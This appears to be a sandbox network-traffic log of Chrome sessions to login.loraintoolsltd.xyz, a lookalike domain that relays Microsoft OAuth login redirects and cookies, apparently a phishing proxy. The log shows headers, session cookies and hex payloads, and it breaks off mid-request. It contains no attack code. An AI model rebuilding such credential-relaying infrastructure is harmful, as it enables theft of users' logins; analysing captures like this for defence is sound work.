cloudflareCF-RAY: 905d75d78cb4727d-EWRalt-svc: h3=":443"; ma=86400
2025-01-22 06:24:19 UTC	1265	IN	Data Raw: 62 46 47 4d 54 59 6c 70 64 48 47 4d 57 57 78 7a 6a 33 4f 42 6f 6e 46 6b 64 59 56 6d 61 4a 2b 6d 64 34 4e 6d 69 36 74 71 69 36 36 54 71 58 61 66 6d 48 4b 74 6b 48 4f 2b 71 36 78 34 6c 34 32 73 66 4a 75 52 75 6f 4f 30 70 62 32 4b 75 63 4f 6b 69 4d 4b 2f 76 35 4b 72 76 37 69 53 72 74 50 53 32 39 6a 54 74 4a 69 38 7a 39 4b 68 30 63 48 64 6f 65 58 42 77 4f 7a 65 32 2b 47 76 78 38 33 72 73 71 66 42 33 2f 6e 6a 2b 4c 57 33 31 4d 6e 6e 76 65 76 33 39 37 38 42 41 50 6e 46 42 67 44 67 44 51 2f 37 2f 4d 37 39 37 52 4c 52 41 4f 6b 41 31 2f 44 6c 43 4e 62 79 47 50 51 69 45 78 41 54 33 53 49 6b 45 4f 50 62 48 67 59 4d 46 76 30 75 42 77 37 38 4b 52 38 54 41 4f 34 55 4c 6a 73 71 48 68 41 33 45 6a 49 63 51 68 51 79 47 6a 77 43 46 7a 34 4c 48 7a 38 61 4d 43 56 44 50 42 78 Data Ascii: bFGMTYlpdHGMWWxzj3OBonFkdYVmaJ+md4Nmi6tqi66TqXafmHKtkHO+q6x4l42sfJuRuoO0pb2KucOkiMK/v5Krv7iSrtPS29jTtJi8z9Kh0cHdoeXBwOze2+Gvx83rsqfB3/nj+LW31Mnnvev3978BAPnFBgDgDQ/7/M797RLRAOkA1/DlCNbyGPQiExAT3SIkEOPbHgYMFv0uBw78KR8TAO4ULjsqHhA3EjIcQhQyGjwCFz4LHz8aMCVDPBx
2025-01-22 06:24:19 UTC	1369	IN	Data Raw: 41 31 50 50 52 74 43 47 6b 67 69 4c 54 4a 46 4c 56 68 49 50 43 39 64 4b 55 30 78 54 78 68 51 4c 54 34 6c 52 42 35 71 52 6a 63 32 53 45 31 59 4f 33 45 6f 4a 55 42 6b 53 57 70 48 61 6d 4d 33 4e 30 5a 61 56 55 6d 41 62 49 4e 50 67 6c 6b 39 57 34 53 45 51 6c 70 59 59 6f 4a 65 6a 6b 6c 66 59 49 53 45 5a 6d 4f 58 63 6e 52 6c 6d 70 52 59 61 6f 36 55 66 32 39 77 64 61 64 79 6c 32 68 70 67 61 70 2b 72 33 68 38 6b 61 42 71 70 61 43 6a 69 49 47 76 6e 48 65 48 68 72 31 38 73 4a 32 41 66 71 43 53 6f 35 57 30 76 4b 57 67 76 70 61 64 6e 71 6e 51 30 61 53 65 71 71 36 69 73 71 72 44 70 6f 2b 36 6c 36 33 67 6f 5a 32 32 31 4c 61 39 75 37 36 70 73 37 58 48 32 4e 6e 43 38 63 37 79 77 76 58 73 34 36 37 51 73 4f 2f 4b 72 38 61 33 79 76 4c 65 34 74 6a 50 7a 74 6a 57 30 64 4c 63 Data Ascii: A1PPRtCGkgiLTJFLVhIPC9dKU0xTxhQLT4lRB5qRjc2SE1YO3EoJUBkSWpHamM3N0ZaVUmAbINPglk9W4SEQlpYYoJejklfYISEZmOXcnRlmpRYao6Uf29wdadyl2hpgap+r3h8kaBqpaCjiIGvnHeHhr18sJ2AfqCSo5W0vKWgvpadnqnQ0aSeqq6isqrDpo+6l63goZ221La9u76ps7XH2NnC8c7ywvXs467QsO/Kr8a3yvLe4tjPztjW0dLc
2025-01-22 06:24:19 UTC	1369	IN	Data Raw: 6f 39 51 44 38 4e 4a 67 73 69 46 43 64 49 4c 43 63 79 4f 53 31 59 4f 45 41 75 5a 44 4a 57 49 45 77 69 54 53 35 71 4b 47 34 78 58 43 39 41 56 6b 38 76 57 55 51 30 52 31 6c 4c 4e 56 4a 5a 54 58 68 5a 54 6b 46 62 56 6e 6d 45 69 30 5a 4c 53 32 4e 48 6a 33 36 41 68 34 78 66 63 47 42 6b 65 6e 42 30 66 46 32 57 61 48 65 4d 6f 6e 68 75 6b 49 4a 38 61 61 4a 64 6e 59 4b 43 66 71 56 74 6d 6f 69 51 6a 58 35 77 68 49 57 54 62 61 75 4e 6d 61 2b 77 77 5a 65 2f 73 4a 54 41 73 38 53 36 67 35 53 44 6f 37 65 6d 76 35 79 50 6f 72 4b 4c 73 74 4b 51 32 4b 71 6a 70 4c 57 32 73 5a 4c 4f 33 4b 79 61 30 35 79 6b 35 74 65 79 75 4b 4c 62 75 72 69 69 33 38 6d 79 70 75 72 58 71 65 33 57 74 37 54 48 36 4d 7a 48 2b 2b 2f 54 7a 2f 48 66 2b 4f 44 45 43 67 6b 4b 34 65 6a 61 35 64 2f 73 2b Data Ascii: o9QD8NJgsiFCdILCcyOS1YOEAuZDJWIEwiTS5qKG4xXC9AVk8vWUQ0R1lLNVJZTXhZTkFbVnmEi0ZLS2NHj36Ah4xfcGBkenB0fF2WaHeMonhukIJ8aaJdnYKCfqVtmoiQjX5whIWTbauNma+wwZe/sJTAs8S6g5SDo7emv5yPorKLstKQ2KqjpLW2sZLO3Kya05yk5teyuKLburii38mypurXqe3Wt7TH6MzH++/Tz/Hf+ODECgkK4eja5d/s+
2025-01-22 06:24:19 UTC	921	IN	Data Raw: 55 4c 68 56 63 47 42 45 30 54 69 46 57 4c 6a 31 51 59 54 4a 6f 4d 6c 4d 38 51 6d 39 59 4b 6b 6f 70 55 30 5a 31 59 45 35 46 51 6e 52 37 4e 6e 35 47 57 31 56 4a 65 47 4e 41 63 33 39 31 55 46 52 61 61 56 36 4d 56 6c 74 4b 66 31 70 66 58 35 56 2f 67 30 35 6b 63 58 78 76 69 35 78 39 64 49 32 43 64 6d 35 62 5a 49 68 34 63 34 70 35 67 48 69 43 69 57 61 65 73 49 36 49 73 47 32 47 67 72 64 31 6a 59 32 75 68 70 4b 4c 73 49 44 44 66 58 76 45 70 5a 56 2f 69 49 65 59 75 70 36 33 70 63 2f 51 79 6f 37 45 74 72 4f 70 78 74 43 6a 72 73 33 59 75 4b 76 65 74 64 43 57 35 61 53 5a 6d 73 54 55 76 4b 4c 73 76 74 71 36 33 37 32 77 76 75 62 53 34 4c 4c 70 37 4d 7a 53 79 4d 6e 71 79 65 37 37 77 4d 34 43 7a 75 62 51 30 67 45 4a 32 76 37 38 32 2b 49 53 7a 51 76 6d 37 75 37 77 36 67 Data Ascii: ULhVcGBE0TiFWLj1QYTJoMlM8Qm9YKkopU0Z1YE5FQnR7Nn5GW1VJeGNAc391UFRaaV6MVltKf1pfX5V/g05kcXxvi5x9dI2Cdm5bZIh4c4p5gHiCiWaesI6IsG2Ggrd1jY2uhpKLsIDDfXvEpZV/iIeYup63pc/Qyo7EtrOpxtCjrs3YuKvetdCW5aSZmsTUvKLsvtq6372wvubS4LLp7MzSyMnqye77wM4CzubQ0gEJ2v782+ISzQvm7u7w6g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49771	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:20 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/431424420:1737523604:zQsNKK_EULmLK6t-Izi3ZT6_56oVUwerMj_ulv66oTg/905d758c9c7f5e68/xZy1J9QD_T__5I8odcDMzLJ0YRHiFDf_j_vkwqg7yz8-1737527047-1.1.1.1-hkYFqkAksropzwGMvswgkxmoSZn3vG.4JsNtaGh_XjxdJsgj9xNxQOaIcEobJFoI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:20 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Wed, 22 Jan 2025 06:24:20 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: UeNFDXUma4N9bT+WFK0JZiMcsDlYrh9Atmu+ovGNZp0KiiM51oAwTtmyCV0eKyapMTkMPIyjo4yh2HjPD6KzUQ==$I8RfpC8YUek00hv4bkqCVQ== Server: cloudflare CF-RAY: 905d75ddbcd70c96-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 06:24:20 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49772	173.46.80.217	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:26 UTC	855	OUT	GET /FgJIoRDm?o=pHg-Y4s HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://login.loraintoolsltd.xyz/FgJIoRDm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278; x-ms-gateway-slice=estsfd
2025-01-22 06:24:27 UTC	20	IN	HTTP/1.1 302 Found
2025-01-22 06:24:27 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 06:24:27 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2025-01-22 06:24:27 UTC	45	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6c 6f 72 61 69 6e 74 6f 6f 6c 73 6c 74 64 2e 78 79 7a 2f 0d 0a Data Ascii: Location: https://login.loraintoolsltd.xyz/
2025-01-22 06:24:27 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-22 06:24:27 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49773	173.46.80.217	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:27 UTC	837	OUT	GET / HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://login.loraintoolsltd.xyz/FgJIoRDm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278; x-ms-gateway-slice=estsfd
2025-01-22 06:24:27 UTC	20	IN	HTTP/1.1 302 Found
2025-01-22 06:24:27 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-22 06:24:27 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 06:24:27 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-22 06:24:27 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 32 34 3a 32 36 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 06:24:26 GMT
2025-01-22 06:24:27 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-22 06:24:27 UTC	48	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 6f 72 61 69 6e 74 6f 6f 6c 73 6c 74 64 2e 78 79 7a 2f 6c 6f 67 69 6e 0d 0a Data Ascii: Location: https://www.loraintoolsltd.xyz/login
2025-01-22 06:24:27 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-22 06:24:27 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 06:24:27 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-22 06:24:27 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49775	173.46.80.217	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:28 UTC	803	OUT	GET /login HTTP/1.1 Host: www.loraintoolsltd.xyz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278
2025-01-22 06:24:28 UTC	20	IN	HTTP/1.1 302 Found
2025-01-22 06:24:28 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 06:24:28 UTC	24	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 0d 0a Data Ascii: Content-Encoding: gzip
2025-01-22 06:24:28 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-22 06:24:28 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 32 34 3a 32 37 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 06:24:27 GMT
2025-01-22 06:24:28 UTC	837	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6c 6f 72 61 69 6e 74 6f 6f 6c 73 6c 74 64 2e 78 79 7a 2f 63 6f 6d 6d 6f 6e 2f 6f 61 75 74 68 32 2f 76 32 2e 30 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 69 65 6e 74 5f 69 64 3d 34 37 36 35 34 34 35 62 2d 33 32 63 36 2d 34 39 62 30 2d 38 33 65 36 2d 31 64 39 33 37 36 35 32 37 36 63 61 26 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f 6d 25 32 46 6c 61 6e 64 69 6e 67 76 32 26 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 63 6f 64 65 25 32 30 69 64 5f 74 6f 6b 65 6e 26 73 63 6f 70 65 3d 6f 70 65 6e 69 64 25 32 30 70 72 6f 66 69 6c 65 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f Data Ascii: Location: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.co
2025-01-22 06:24:28 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-22 06:24:28 UTC	25	IN	Data Raw: 52 65 71 75 65 73 74 2d 43 6f 6e 74 65 78 74 3a 20 61 70 70 49 64 3d 0d 0a Data Ascii: Request-Context: appId=
2025-01-22 06:24:28 UTC	114	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 44 43 41 66 66 69 6e 69 74 79 3d 4f 48 2d 77 75 73 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 31 34 3a 32 34 3a 32 38 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: OH.DCAffinity=OH-wus; Path=/; Expires=Wed, 22 Jan 2025 14:24:28 GMT; HttpOnly; Secure; SameSite=None
2025-01-22 06:24:28 UTC	138	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 46 4c 49 44 3d 64 64 36 63 30 31 30 62 2d 36 61 63 64 2d 34 36 65 64 2d 61 31 38 39 2d 39 34 66 31 36 38 33 36 63 37 39 31 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 68 75 2c 20 32 32 20 4a 61 6e 20 32 30 32 36 20 30 36 3a 32 34 3a 32 38 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: OH.FLID=dd6c010b-6acd-46ed-a189-94f16836c791; Path=/; Expires=Thu, 22 Jan 2026 06:24:28 GMT; HttpOnly; Secure; SameSite=None
2025-01-22 06:24:28 UTC	68	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 53 49 44 3d 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a Data Ascii: Set-Cookie: OH.SID=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49776	173.46.80.217	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:29 UTC	1888	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278; x-ms-gateway-slice=estsfd; fpc=Al80S6UF-GNCmXSXQ1iGIMk; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE-GZHmj-tS1JVm08kYhWca3pqgpHHkhFLR3ThjcD0DV0bSTyB19sec-iwddoTj8wsfHI0RVGAqvJ07qnFKmN53LqA_h6BMy7rt2RJuA9NHycG6SPzvwSgzTN8U_nx98Azc_RNZrdqWDY-ZUG-ZPBkMZ47KJPi8A9gU85rP_SugMAgAA; stsservicecookie=estsfd
2025-01-22 06:24:29 UTC	17	IN	HTTP/1.1 200 OK
2025-01-22 06:24:29 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-22 06:24:29 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 06:24:29 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-22 06:24:29 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 32 34 3a 32 38 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 06:24:28 GMT
2025-01-22 06:24:29 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-22 06:24:29 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-22 06:24:29 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 06:24:29 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-22 06:24:29 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-22 06:24:29 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 73 61 6e 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+san"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49779	173.46.80.217	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:31 UTC	2924	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" 